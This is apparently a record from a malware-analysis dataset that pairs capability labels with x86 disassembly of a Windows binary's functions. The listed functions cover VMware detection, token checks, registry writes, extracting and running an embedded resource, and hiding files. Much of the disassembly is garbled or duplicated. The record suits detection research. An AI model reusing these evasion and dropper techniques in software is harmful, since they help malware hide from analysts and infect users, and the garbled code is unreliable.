joyce8/EMBER2024-capa huggingface dataset:
Function at 0x422b60
Capabilities:
Get token membership

Disassembly:
push ebp
jmp 0x4230d0
mov eax, dword [0x515114]
xor eax, ebp
mov dword [ebp - 4], eax
jmp 0x4232e6
shr edx, 0x1d
or eax, edx
mov ebx, eax
shr ebx, 0x18
mov byte [ebp - 0xc], bl
mov ebx, eax
je 0x423476
jne 0x423476
mov dword [esi], 0x697e263c
mov esi, dword [ebx + 0x69824668]
push 0xaa8ab0
sub dword [esi + 0xb0], edi
mov dword [ebp - 0x19c0], 0
push eax
out dx, al
adc edx, dword [0x51f42072]
pushal
mov cl, 0x74
mov byte [edi + 0x17], cl
movzx edx, byte [esi + 0x23]
push 0x422f08
ret
mov ebp, esp
sub esp, 0xc
je 0x422e31
jne 0x422e31
pmaddwd mm5, qword [0xc095c8]
push 0x9dce48
push 0x114a0e08
push 0xaaf5a0
push 0xcd49ec
mov dword [0x45db3c], edi
mov dword [eax + 0x10], 0xacaff4
invalid
invalid
invalid

Function at 0x422e31
Capabilities:
Get token membership

Disassembly:
push ebp
jmp 0x4230d0
mov eax, dword [0x515114]
xor eax, ebp
mov dword [ebp - 4], eax
jmp 0x4232e6
shr edx, 0x1d
or eax, edx
mov ebx, eax
shr ebx, 0x18
mov byte [ebp - 0xc], bl
mov ebx, eax
je 0x423476
jne 0x423476
mov dword [esi], 0x697e263c
mov esi, dword [ebx + 0x69824668]
push 0xaa8ab0
sub dword [esi + 0xb0], edi
mov dword [ebp - 0x19c0], 0
push eax
out dx, al
adc edx, dword [0x51f42072]
pushal
mov cl, 0x74
mov byte [edi + 0x17], cl
movzx edx, byte [esi + 0x23]
push 0x422f08
ret
mov ebp, esp
sub esp, 0xc
je 0x422e31
jne 0x422e31
pmaddwd mm5, qword [0xc095c8]
push 0x9dce48
push 0x114a0e08
push 0xaaf5a0
push 0xcd49ec
mov dword [0x45db3c], edi
mov dword [eax + 0x10], 0xacaff4
invalid
invalid
invalid

Function at 0x4234f0
Capabilities:
Get token membership

Disassembly:
invalid
push ebp
mov ebp, esp
jmp 0x42371f
mov eax, dword fs:[0]
push eax
sub esp, 0x1c
je 0x423831
jne 0x423831
test dword [esi + 0x30], 0x800
add edx, 0x2d0
mov edx, 0x28f5c28
push 0xb0402c
pop ebx
add byte [ebx], ah
jb 0x4234de
cdq
mov dword [ebp - 4], 0xfffffffe
mov ecx, dword [ebp - 0x10]
push 0x4236d2
ret
mov dword [ebp - 0x24], ebx
mov word [ebp - 0x20], 0x500
lea eax, [ebp - 0x2c]
push eax
push ebx
push ebx
je 0x423613
jne 0x423613
mov eax, dword [0xaa007a55]
mov dword [ecx + 0xb4], 3
mov dword [esp + 4], 0x33
push 0xaac114
iretd
push ebx
push ebx
je 0x423977
jne 0x423977
mov ecx, dword [0x115290b0]
push 0xb527b4
push 0xa5bfe8
push 0x9e0158
mov eax, dword [0xebf513eb]
sub byte [esi - 0x29], al
adc eax, 0x8bb13975
inc ebp
fsubr st(1)
or bh, bh
invalid
push 0xfffffffffffffffe
push 0x460488
push 0x454060
je 0x42351e
jne 0x42351e
push 0x4f8f9c
push 0xd1f5a5
push 0x4f8a14
call dword [int.0041a104]
mov dword [0x414524], edi
mov dword [eax], 0x51b114
mov ebx, dword [ebx + 0x54]
mulps xmm2, xmmword [0x697d0d00]
mov dword [0x1123be60], eax
cmp eax, dword [0x413de8]
jmp dword [0x106df07c]
xor dword [ebp - 8], eax
jmp 0x4237b4
xor eax, ebp
mov dword [ebp - 0x1c], eax
push ebx
push esi
push edi
push eax
lea eax, [ebp - 0x10]
mov dword fs:[0], eax
mov dword [ebp - 0x18], esp
xor ebx, ebx
mov dword [ebp - 0x28], ebx
mov dword [ebp - 4], ebx
jmp 0x42357d
mov eax, dword [0x515114]
je 0x42377e
jne 0x42377e
mov dword [esp + 0xc], ecx
or dl, byte [0x69831208]
mov dword [0x315834c], eax
invalid
push ebx
push ebx
push 0x220
push 0x423685
ret
Function at 0x423831
Capabilities:
Get token membership

Disassembly:
invalid
push ebp
mov ebp, esp
jmp 0x42371f
mov eax, dword fs:[0]
push eax
sub esp, 0x1c
je 0x423831
jne 0x423831
test dword [esi + 0x30], 0x800
add edx, 0x2d0
mov edx, 0x28f5c28
push 0xb0402c
pop ebx
add byte [ebx], ah
jb 0x4234de
cdq
mov dword [ebp - 4], 0xfffffffe
mov ecx, dword [ebp - 0x10]
push 0x4236d2
ret
mov dword [ebp - 0x24], ebx
mov word [ebp - 0x20], 0x500
lea eax, [ebp - 0x2c]
push eax
push ebx
push ebx
je 0x423613
jne 0x423613
mov eax, dword [0xaa007a55]
mov dword [ecx + 0xb4], 3
mov dword [esp + 4], 0x33
push 0xaac114
iretd
push ebx
push ebx
je 0x423977
jne 0x423977
mov ecx, dword [0x115290b0]
push 0xb527b4
push 0xa5bfe8
push 0x9e0158
mov eax, dword [0xebf513eb]
sub byte [esi - 0x29], al
adc eax, 0x8bb13975
inc ebp
fsubr st(1)
or bh, bh
invalid
push 0xfffffffffffffffe
push 0x460488
push 0x454060
je 0x42351e
jne 0x42351e
push 0x4f8f9c
push 0xd1f5a5
push 0x4f8a14
call dword [int.0041a104]
mov dword [0x414524], edi
mov dword [eax], 0x51b114
mov ebx, dword [ebx + 0x54]
mulps xmm2, xmmword [0x697d0d00]
mov dword [0x1123be60], eax
cmp eax, dword [0x413de8]
jmp dword [0x106df07c]
xor dword [ebp - 8], eax
jmp 0x4237b4
xor eax, ebp
mov dword [ebp - 0x1c], eax
push ebx
push esi
push edi
push eax
lea eax, [ebp - 0x10]
mov dword fs:[0], eax
mov dword [ebp - 0x18], esp
xor ebx, ebx
mov dword [ebp - 0x28], ebx
mov dword [ebp - 4], ebx
jmp 0x42357d
mov eax, dword [0x515114]
je 0x42377e
jne 0x42377e
mov dword [esp + 0xc], ecx
or dl, byte [0x69831208]
mov dword [0x315834c], eax
invalid
push ebx
push ebx
push 0x220
push 0x423685
ret
Function at 0x42c4d0
Capabilities:
Check for vm using instruction vpcext
Reference the vmware io port

Disassembly:
push ebp
mov ebp, esp
jmp 0x42c8ad
pop ebx
pop ecx
pop edx
push 0x42c6c6
ret
push ebx
mov eax, 0x564d5868
mov ebx, 0
mov ecx, 0xa
mov edx, 0x5658
add byte [edx + 0x5658], bh
in eax, dx
je 0x42c90a
jne 0x42c90a
mov eax, dword [0x449d8c]
sub eax, dword [esi + 0x10]
mov eax, 8
pmulhw xmm7, xmmword [0x697d0b90]
mov edx, dword [edi - 0x18]
mov dword [0xeaf250], eax
mov ecx, dword [0x115290b0]
push 0xb527b4
push 0xa5bfe8
jle 0x42c569
in eax, 0x5f
je 0x42c800
jne 0x42c800
push 0x9e0158
push 0xb3c3fc
push 0x100edc4c
mov ecx, dword [0x11542a34]
mov eax, 0x115a1648
push 0x697c5408
push 0x114a0668
push 0x1028c9c4
mov eax, dword [esi + 0x44]
push 0xb3e3cc
add eax, 0x526e610
pop ebx
add byte [edx + 0x4d8be745], cl
invalid
push esi
jmp 0x42c738
push edi
mov eax, dword [0x515114]
xor dword [ebp - 8], eax
xor eax, ebp
push eax
lea eax, [ebp - 0x10]
mov dword fs:[0], eax
mov dword [ebp - 0x18], esp
mov byte [ebp - 0x19], 1
mov dword [ebp - 4], 0
push edx
push ecx
jmp 0x42c55a
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
push ebx
je 0x42c63b
jne 0x42c63b
call dword [fcn.00447288]
adc dword [0x6b111b3c], esp
mov byte [0xdd950f], bl
mov dword [0xe917f8], eax
mov dword [esi + 0x10], 0x111540e0
mov eax, 0x106df690
mov dword [esi + 0x18], 0x111b0ba0
mov dword [ecx + 0xc1], edx
mov dword [0xde2290], edx
pop esi
sahf
out 0xa2, eax
cwde
jno 0x42c8d4
in eax, dx
iretd
push 0xfffffffffffffffe
push 0x460608
push 0x454060
je 0x42c94e
jne 0x42c94e
mov dword [0x1153cd40], eax
push 0x41fdd4
cmp dword [esi + 0xa0], ebx
mov dword [esi + 0xc], 0x409db0
push 0x421db0
mov byte [eax + 0x6c], 0x70
cmp byte [esi + 0x289c], al
lea eax, [ebp - 0x804c]
push 0x697b0ac0
jmp dword [0x100173dc]
add bh, al
inc esi
or al, 0xb0
popfd
inc eax
add byte [eax - 0x50], ch
sbb eax, 0x40c60042
insb byte es:[edi], dx
jo 0x42c91e
xchg byte [eax + ebp - 0x7a730000], bl
mov ah, 0x7f
invalid
cmp ebx, 0x564d5868
sete byte [ebp - 0x19]
je 0x42c506
jne 0x42c506
invalid
push 0x4372c8
mov dword [0x1153e2f4], eax
push 0x1146dfac
and edx, 0xf0f
mov dword [0x112934ac], eax
push 0x697be388
push 0x479f9c
mov eax, dword [0x99b86c41]
pop ss
jmp fcn.0042c9c2
mov eax, dword fs:[0]
push eax
sub esp, 0xc
je 0x42c861
jne 0x42c861
add dword [esi + 0x5c], edi
mov eax, 0x4ce030
mov eax, 0x10574c20
mov edx, dword [0x429d5c]
mov byte [0xe2b183], 1
push 0x4f63f0
mov word [reloc.kernel32.dll_LCMapStringA], gs
push 0x9bc010
adc dword [ecx - 0x58], ebx
push eax
daa
fucompi st(6)
push eax
int3
Function at 0x42c738
Capabilities:
Check for vm using instruction vpcext
Reference the vmware io port

Disassembly:
push ebp
mov ebp, esp
jmp 0x42c8ad
pop ebx
pop ecx
pop edx
push 0x42c6c6
ret
push ebx
mov eax, 0x564d5868
mov ebx, 0
mov ecx, 0xa
mov edx, 0x5658
add byte [edx + 0x5658], bh
in eax, dx
je 0x42c90a
jne 0x42c90a
mov eax, dword [0x449d8c]
sub eax, dword [esi + 0x10]
mov eax, 8
pmulhw xmm7, xmmword [0x697d0b90]
mov edx, dword [edi - 0x18]
mov dword [0xeaf250], eax
mov ecx, dword [0x115290b0]
push 0xb527b4
push 0xa5bfe8
jle 0x42c569
in eax, 0x5f
je 0x42c800
jne 0x42c800
push 0x9e0158
push 0xb3c3fc
push 0x100edc4c
mov ecx, dword [0x11542a34]
mov eax, 0x115a1648
push 0x697c5408
push 0x114a0668
push 0x1028c9c4
mov eax, dword [esi + 0x44]
push 0xb3e3cc
add eax, 0x526e610
pop ebx
add byte [edx + 0x4d8be745], cl
invalid
push esi
jmp 0x42c738
push edi
mov eax, dword [0x515114]
xor dword [ebp - 8], eax
xor eax, ebp
push eax
lea eax, [ebp - 0x10]
mov dword fs:[0], eax
mov dword [ebp - 0x18], esp
mov byte [ebp - 0x19], 1
mov dword [ebp - 4], 0
push edx
push ecx
jmp 0x42c55a
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
push ebx
je 0x42c63b
jne 0x42c63b
call dword [fcn.00447288]
adc dword [0x6b111b3c], esp
mov byte [0xdd950f], bl
mov dword [0xe917f8], eax
mov dword [esi + 0x10], 0x111540e0
mov eax, 0x106df690
mov dword [esi + 0x18], 0x111b0ba0
mov dword [ecx + 0xc1], edx
mov dword [0xde2290], edx
pop esi
sahf
out 0xa2, eax
cwde
jno 0x42c8d4
in eax, dx
iretd
push 0xfffffffffffffffe
push 0x460608
push 0x454060
je 0x42c94e
jne 0x42c94e
mov dword [0x1153cd40], eax
push 0x41fdd4
cmp dword [esi + 0xa0], ebx
mov dword [esi + 0xc], 0x409db0
push 0x421db0
mov byte [eax + 0x6c], 0x70
cmp byte [esi + 0x289c], al
lea eax, [ebp - 0x804c]
push 0x697b0ac0
jmp dword [0x100173dc]
add bh, al
inc esi
or al, 0xb0
popfd
inc eax
add byte [eax - 0x50], ch
sbb eax, 0x40c60042
insb byte es:[edi], dx
jo 0x42c91e
xchg byte [eax + ebp - 0x7a730000], bl
mov ah, 0x7f
invalid
cmp ebx, 0x564d5868
sete byte [ebp - 0x19]
je 0x42c506
jne 0x42c506
invalid
push 0x4372c8
mov dword [0x1153e2f4], eax
push 0x1146dfac
and edx, 0xf0f
mov dword [0x112934ac], eax
push 0x697be388
push 0x479f9c
mov eax, dword [0x99b86c41]
pop ss
jmp fcn.0042c9c2
mov eax, dword fs:[0]
push eax
sub esp, 0xc
je 0x42c861
jne 0x42c861
add dword [esi + 0x5c], edi
mov eax, 0x4ce030
mov eax, 0x10574c20
mov edx, dword [0x429d5c]
mov byte [0xe2b183], 1
push 0x4f63f0
mov word [reloc.kernel32.dll_LCMapStringA], gs
push 0x9bc010
adc dword [ecx - 0x58], ebx
push eax
daa
fucompi st(6)
push eax
int3

Function at 0x453cd8
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x515114]
jne 0x453ce2
repz ret
jmp fcn.00457374
Function at 0x45ce59
Capabilities:
Link many functions at runtime

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x24
mov eax, dword [0x515114]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
push ebx
mov dword [ebp - 0x20], eax
mov eax, dword [ebp + 0xc]
push esi
push edi
mov dword [ebp - 0x1c], eax
call fcn.00456de9
and dword [ebp - 0x14], 0
cmp dword [0x516e5c], 0
mov dword [ebp - 0x18], eax
jne 0x45cf0c
push 0x402ab0
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov ebx, eax
test ebx, ebx
je 0x45cfb4
mov edi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push 0x402aa4
push ebx
call edi
test eax, eax
je 0x45cfb4
mov esi, dword [sym.imp.KERNEL32.dll_EncodePointer]
push eax
call esi
push 0x402a94
push ebx
mov dword [0x516e5c], eax
call edi
push eax
call esi
push 0x402a80
push ebx
mov dword [0x516e60], eax
call edi
push eax
call esi
push 0x402a64
push ebx
mov dword [0x516e64], eax
call edi
push eax
call esi
mov dword [0x516e6c], eax
test eax, eax
je 0x45cf0c
push 0x402a4c
push ebx
call edi
push eax
call esi
mov dword [0x516e68], eax
mov eax, dword [0x516e68]
mov ecx, dword [ebp - 0x18]
mov esi, dword [sym.imp.KERNEL32.dll_DecodePointer]
cmp eax, ecx
je 0x45cf65
cmp dword [0x516e6c], ecx
je 0x45cf65
push eax
call esi
push dword [0x516e6c]
mov edi, eax
call esi
mov ebx, eax
test edi, edi
je 0x45cf65
test ebx, ebx
je 0x45cf65
call edi
test eax, eax
je 0x45cf5c
lea ecx, [ebp - 0x24]
push ecx
push 0xc
lea ecx, [ebp - 0x10]
push ecx
push 1
push eax
call ebx
test eax, eax
je 0x45cf5c
test byte [ebp - 8], 1
jne 0x45cf65
or dword [ebp + 0x10], 0x200000
jmp 0x45cf98
mov eax, dword [0x516e60]
cmp eax, dword [ebp - 0x18]
je 0x45cf98
push eax
call esi
test eax, eax
je 0x45cf98
call eax
mov dword [ebp - 0x14], eax
test eax, eax
je 0x45cf98
mov eax, dword [0x516e64]
cmp eax, dword [ebp - 0x18]
je 0x45cf98
push eax
call esi
test eax, eax
je 0x45cf98
push dword [ebp - 0x14]
call eax
mov dword [ebp - 0x14], eax
push dword [0x516e5c]
call esi
test eax, eax
je 0x45cfb4
push dword [ebp + 0x10]
push dword [ebp - 0x1c]
push dword [ebp - 0x20]
push dword [ebp - 0x14]
call eax
jmp 0x45cfb6
xor eax, eax
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.00453cd8
leave
ret
Function at 0x462420
Capabilities:
Set registry value

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x463ec0
mov eax, dword fs:[0]
push eax
sub esp, 0x1c
push ebx
push esi
push edi
mov eax, dword [0x515114]
xor eax, ebp
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov dword [ebp - 0x10], esp
lea eax, [ebp - 0x18]
push 0x514818
xor ebx, ebx
push eax
xor esi, esi
mov dword [ebp - 4], ebx
call fcn.00448d90
mov ecx, dword [ebp - 0x18]
add esp, 8
cmp dword [ecx - 0xc], ebx
je 0x4624f6
mov edi, dword [ebp + 8]
cmp ebx, 2
jge 0x4624f6
lea edx, [ebp - 0x1c]
push edx
lea edx, [ebp - 0x14]
push edx
push 0
xor eax, eax
push 2
test ebx, ebx
push 0
setne al
push 0
push 0
push ecx
mov dword [ebp - 0x14], 0
add eax, 0x80000001
push eax
call dword [sym.imp.ADVAPI32.dll_RegCreateKeyExW]
test eax, eax
jne 0x4624ed
mov esi, dword [ebp - 0x14]
mov ecx, esi
mov dword [ebp - 0x28], ecx
test edi, edi
jne 0x4624b9
lea eax, [edi + 0xd]
jmp 0x4624d9
push edi
call dword [sym.imp.KERNEL32.dll_lstrlenW]
lea eax, [eax + eax + 2]
push eax
push edi
push 1
push 0
push 0x4019a4
push esi
call dword [sym.imp.ADVAPI32.dll_RegSetValueExW]
mov ecx, dword [ebp - 0x28]
xor edx, edx
test eax, eax
sete dl
mov esi, edx
test ecx, ecx
je 0x4624ed
push ecx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov ecx, dword [ebp - 0x18]
inc ebx
jmp 0x462472
lea eax, [ecx - 0x10]
lea ecx, [eax + 0xc]
or edx, 0xffffffff
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x462536
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
mov eax, esi
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
mov eax, esi
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x462550
Capabilities:
Delete file
Get common file path
Move file
Write file on windows

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x463eeb
mov eax, dword fs:[0]
push eax
sub esp, 0x224
mov eax, dword [0x515114]
xor eax, ebp
mov dword [ebp - 0x14], eax
push ebx
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov dword [ebp - 0x10], esp
mov esi, dword [ebp + 8]
mov eax, dword [ebp + 0xc]
xor edi, edi
xor ebx, ebx
mov dword [ebp - 4], edi
mov dword [ebp - 0x230], edi
mov dword [ebp - 0x22c], edi
mov dword [ebp - 0x228], edi
mov edx, dword [ebp + 0x10]
lea ecx, [ebp - 0x230]
push ecx
push edx
push eax
mov byte [ebp - 4], 1
call fcn.00430520
add esp, 0xc
cmp eax, edi
je 0x4626f8
mov eax, dword [ebp - 0x230]
cmp eax, dword [ebp - 0x22c]
je 0x4626f8
lea ecx, [ebp - 0x230]
push 0x4019d8
push ecx
call fcn.00431430
add esp, 8
push 0x4019c8
push 0x4019b0
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
cmp eax, edi
je 0x4626f8
push esi
call eax
cmp eax, edi
je 0x46267d
push esi
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
test eax, eax
jne 0x46267d
push 0x206
lea eax, [ebp - 0x21a]
xor edx, edx
push edi
push eax
mov word [ebp - reloc.kernel32.dll_LCMapStringA], dx
call fcn.004541f0
add esp, 0xc
lea ecx, [ebp - 0x21c]
push ecx
push 0x104
call dword [sym.imp.KERNEL32.dll_GetTempPathW]
test eax, eax
je 0x4626f8
lea edx, [ebp - 0x21c]
push edx
push edi
push edi
mov eax, edx
push eax
call dword [sym.imp.KERNEL32.dll_GetTempFileNameW]
test eax, eax
je 0x4626f8
push 1
lea ecx, [ebp - 0x21c]
push ecx
push esi
call dword [sym.imp.KERNEL32.dll_MoveFileExW]
test eax, eax
je 0x4626f8
push 0x4019a8
lea edx, [ebp - 0x220]
push esi
push edx
mov dword [ebp - 0x220], edi
call fcn.00455e18
add esp, 0xc
test eax, eax
jne 0x4626f8
mov eax, dword [ebp - 0x220]
cmp eax, edi
je 0x4626f8
mov ecx, dword [ebp - 0x22c]
push eax
mov eax, dword [ebp - 0x230]
sub ecx, eax
push ecx
push 1
push eax
call fcn.00455ce0
mov edx, dword [ebp - 0x220]
push edx
call fcn.00455b2d
mov eax, dword [ebp - 0x220]
mov esi, dword [ebp - 0x22c]
sub esi, dword [ebp - 0x230]
push eax
call fcn.0045593e
mov ecx, dword [ebp - 0x220]
xor ebx, ebx
cmp esi, eax
push ecx
sete bl
call fcn.00455736
add esp, 0x1c
mov eax, dword [ebp - 0x230]
cmp eax, edi
je 0x462723
push eax
call fcn.00454051
add esp, 4
jmp 0x462723
mov eax, ebx
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 0x14]
xor ecx, ebp
call fcn.00453cd8
mov esp, ebp
pop ebp
ret
Function at 0x4628b0
Capabilities:
Check if file exists
Create process on windows
Delete file
Extract resource via kernel32 functions
Move file
Write and execute a file
Write file on windows

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x463f68
mov eax, dword fs:[0]
push eax
sub esp, 0x20
push ebx
push esi
push edi
mov eax, dword [0x515114]
xor eax, ebp
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov dword [ebp - 0x10], esp
mov edi, dword [ebp + 8]
xor ebx, ebx
mov dword [ebp - 0x14], ebx
mov dword [ebp - 4], ebx
cmp edi, ebx
je 0x462a97
mov eax, edi
lea edx, [eax + 2]
mov cx, word [eax]
add eax, 2
cmp cx, bx
jne 0x4628f3
sub eax, edx
sar eax, 1
je 0x462a97
push edi
call dword [sym.imp.SHLWAPI.dll_PathFileExistsW]
test eax, eax
je 0x462a97
push 0x409
push 0x65
push ebx
call dword [sym.imp.KERNEL32.dll_FindResourceW]
mov esi, eax
cmp esi, ebx
je 0x462a89
push esi
push ebx
call dword [sym.imp.KERNEL32.dll_SizeofResource]
mov edi, eax
cmp edi, ebx
je 0x462a97
push esi
push ebx
call dword [sym.imp.KERNEL32.dll_LoadResource]
cmp eax, ebx
je 0x462a97
push eax
call dword [sym.imp.KERNEL32.dll_LockResource]
cmp eax, ebx
je 0x462a97
mov dword [ebp - 0x2c], ebx
mov dword [ebp - 0x28], ebx
mov dword [ebp - 0x24], ebx
lea ecx, [ebp - 0x2c]
push ecx
push edi
push eax
mov byte [ebp - 4], 1
call fcn.00430520
add esp, 0xc
cmp eax, ebx
je 0x462a70
mov edx, dword [ebp - 0x2c]
cmp edx, dword [ebp - 0x28]
je 0x462a70
mov edi, dword [ebp + 8]
push 0x4019a8
lea eax, [ebp - 0x18]
push edi
push eax
mov dword [ebp - 0x18], ebx
call fcn.00455e18
add esp, 0xc
test eax, eax
jne 0x462a70
mov ecx, dword [ebp - 0x18]
cmp ecx, ebx
je 0x462a70
mov eax, dword [ebp - 0x2c]
mov esi, dword [ebp - 0x28]
push ecx
sub esi, eax
push esi
push 1
push eax
call fcn.00455ce0
mov edx, dword [ebp - 0x18]
xor ecx, ecx
cmp esi, eax
sete cl
push edx
mov esi, ecx
call fcn.00455736
add esp, 0x14
cmp esi, ebx
je 0x462a70
mov eax, dword [0x516010]
mov edx, dword [eax + 0xc]
mov ecx, 0x516010
call edx
add eax, 0x10
mov dword [ebp - 0x1c], eax
push 0x6b
lea ecx, [ebp - 0x1c]
mov byte [ebp - 4], 2
call fcn.00429110
cmp eax, ebx
je 0x462a68
mov esi, dword [ebp - 0x1c]
cmp dword [esi - 0xc], ebx
je 0x462a68
push edi
lea ecx, [ebp + 8]
call fcn.00429830
lea ecx, [ebp + 8]
mov byte [ebp - 4], 3
call fcn.0044f310
push esi
lea ecx, [ebp + 8]
call fcn.0044e8c0
cmp eax, ebx
je 0x462a60
mov eax, dword [ebp + 8]
push eax
push edi
call dword [sym.imp.KERNEL32.dll_MoveFileW]
test eax, eax
je 0x462a60
mov ecx, dword [ebp + 8]
push 1
push ebx
push ebx
push ecx
push ebx
push ebx
call dword [sym.imp.SHELL32.dll_ShellExecuteW]
mov dword [ebp - 0x14], 1
lea ecx, [ebp + 8]
call fcn.0044dad0
lea ecx, [ebp - 0x1c]
call fcn.00426140
lea ecx, [ebp - 0x2c]
call fcn.0042de80
jmp 0x462a97
push edi
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
mov dword [ebp - 0x14], 1
mov eax, dword [ebp - 0x14]
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x462f90
Capabilities:
Set file attributes

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x463fe0
mov eax, dword fs:[0]
push eax
sub esp, 0x18
push ebx
push esi
push edi
mov eax, dword [0x515114]
xor eax, ebp
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov dword [ebp - 0x10], esp
mov esi, dword [ebp + 8]
xor edi, edi
mov dword [ebp - 0x14], edi
mov dword [ebp - 4], edi
cmp esi, edi
je 0x463155
mov eax, esi
lea edx, [eax + 2]
mov cx, word [eax]
add eax, 2
cmp cx, di
jne 0x462fd3
sub eax, edx
sar eax, 1
je 0x463155
push esi
lea ecx, [ebp - 0x1c]
call fcn.00429830
mov eax, dword [0x516010]
mov edx, dword [eax + 0xc]
mov ecx, 0x516010
mov byte [ebp - 4], 1
mov dword [ebp - 0x20], edi
call edx
add eax, 0x10
mov dword [ebp - 0x18], eax
mov eax, dword [0x516010]
mov edx, dword [eax + 0xc]
mov ecx, 0x516010
mov byte [ebp - 4], 2
call edx
lea esi, [eax + 0x10]
mov dword [ebp + 8], esi
mov byte [ebp - 4], 3
lea eax, [ebp - 0x20]
push eax
push 0x401a40
lea ecx, [ebp - 0x24]
push ecx
lea ecx, [ebp - 0x1c]
call fcn.00450d30
push eax
lea ecx, [ebp - 0x18]
mov byte [ebp - 4], 4
call fcn.0044f590
mov edi, dword [ebp - 0x18]
cmp dword [edi - 0xc], 0
mov eax, dword [ebp - 0x24]
setne bl
add eax, 0xfffffff0
mov byte [ebp - 4], 3
lea edx, [eax + 0xc]
or ecx, 0xffffffff
lock xadd dword [edx], ecx
dec ecx
test ecx, ecx
jg 0x463079
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
test bl, bl
je 0x4630f2
mov eax, dword [edi - 0xc]
push eax
push edi
lea ecx, [ebp + 8]
mov dword [ebp - 0x14], 1
call fcn.00426dc0
push 1
push 0x401a40
lea ecx, [ebp + 8]
call fcn.00426dc0
mov esi, dword [ebp + 8]
push esi
call dword [sym.imp.SHLWAPI.dll_PathIsRootW]
test eax, eax
jne 0x46302a
push 0x401a2c
push 0x401698
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
test eax, eax
je 0x4630da
push 0
push esi
call eax
test eax, eax
jne 0x46316a
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0xb7
je 0x46316a
mov dword [ebp - 0x14], 0
lea eax, [esi - 0x10]
mov byte [ebp - 4], 2
lea ecx, [eax + 0xc]
or edx, 0xffffffff
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x463112
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
lea eax, [edi - 0x10]
mov byte [ebp - 4], 1
lea ecx, [eax + 0xc]
or edx, 0xffffffff
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x463132
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
mov eax, dword [ebp - 0x1c]
add eax, 0xfffffff0
mov byte [ebp - 4], 0
lea ecx, [eax + 0xc]
or edx, 0xffffffff
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x463155
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
mov eax, dword [ebp - 0x14]
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
cmp dword [ebp + 0xc], 0
je 0x46302a
push 2
push esi
call dword [sym.imp.KERNEL32.dll_SetFileAttributesW]
jmp 0x46302a